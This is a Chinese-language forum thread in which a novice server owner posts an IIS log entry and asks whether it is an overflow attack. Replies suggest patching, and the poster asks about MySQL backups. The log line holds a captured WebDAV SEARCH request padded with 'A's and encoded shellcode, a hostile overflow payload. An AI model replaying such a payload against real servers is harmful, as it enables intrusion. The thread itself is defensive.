10:30:39 218.153.188.205 GET /iisstart.asp 200
10:30:39 61.50.131.192 HEAD /iisstart.asp 302
10:30:41 218.153.188.205 SEARCH / 411
10:30:45 218.153.188.205 SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA契桁申畏琅七促道晞亭但晃霽遯遑留台彖坊晃傭晃伽退瑙仙搬奐但遇晃傭塋搬坊遑徐＃＃＃＃Α量徐邪瑁郊遑留仄澗rmomddddddisjhnegdddddddlohddplokdepnqlojldlloskjndiimrlimddddddrfsmlgrpehggpdidjlfrjikljijljljskgkhjlipkgkjjgloqpidjndjjndfididjlddddddhdigssejlgslsskhfmlosljnddlopjlgpdelidloilspiglgpddhidikssijdhidikssijdlillipdkhdmloqpggpdidigssijdpssijedieijlohigploihflkldgqiiflokffddgsiggpmhmhenqdgpiggqodsoredgnqjkhdlpepodqdgqnhdrosegoeskirkinloinfhdgqqjjlodpholoinepdgqqlodhlodgpinoirimpgrlhfssssssniekddkpeskmdnrlsomksqdsmlsrlndrrsprrdjdddgfddddddddddddhqinmddddgdddddddhddddddssssddddolddddddddddddddhdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddrldddddddresondrddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjkkfjejqfdjgjejrjrjskhfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhjifrdqdqdnfhddddddddddddddnigldipkreimjomhreimjomhreimjomhmnhijkmhrgimjomhjfhijimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgimjomhreimjnmhljimjomhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjgjlreimjomhddddddddddddddddddddddddddddddddddddddddddddddddidhiddddhpdedgddhpmjghmnddddddddddddddddrddddsdedodemjhmddgdddddddedddddddmdddddndpnddddddndddddddqdddddddddhdddddeddddddddfdddddhdddddddddddddddhddddddddddddddddrddddddddhdddddddddddddgddddddddddedddddedddddddddedddddedddddddddddddedddddddddddddddddddddddddqdddddgldeddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddmdddddddeddddddddddddddddhddddddddddddddddddddddddddddldddddrdddddddddddddddddddgdddddddndddddddfpdddddddhddddddddddddddddddddddddddddhdddddrdddddddddddddddddddedddddddqddddddddfddddddgdddddddddddddddddddddddddddddhdddddpdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddsssseir

是有人想溢出?是吗?我该怎么办.谢谢.

[QUOTE]最初由 小神 发布
[B]At first glance it looks like a stupidly long search string. Do you have the IIS log files set to collect the users IP address? [/B][/QUOTE]
no./;d
../:$ 我没有公开这个端口,是个很偏僻的端口..好几千来着

[QUOTE]最初由 小神 发布
[B]Are you up to date on your Service Packs & security patches?

This looks like it could be a Buffer overflow attempt. I've seen long query strings but this is a blatant attempt IMHO to see if your server is vulnerable. As long as you're up to date on everything, you should be ok but you should have your devs double check all their code to make sure there are no holes or memory leaks. This would also entail any com objects.... [/B][/QUOTE]
似乎是sp3../;d
我很担心,我还开着apche.mysql php perl解析.什么的版本很老.
是的,我用各种各样的扫密器扫过几回.似乎没什么serious的vuln.
可是我还是觉得睡不安稳.这是我第一次用自己的机器当web服务器.没什么经验.
我甚至想安个入侵检测系统.
可是系统恐怕受不了,毕竟是赛扬900,
还在充当我的平面图形工作站...
有时候还玩玩游戏什么的.

好主意.呵呵.顺便请问一下.mysql用什么方法备份比较好.谢谢.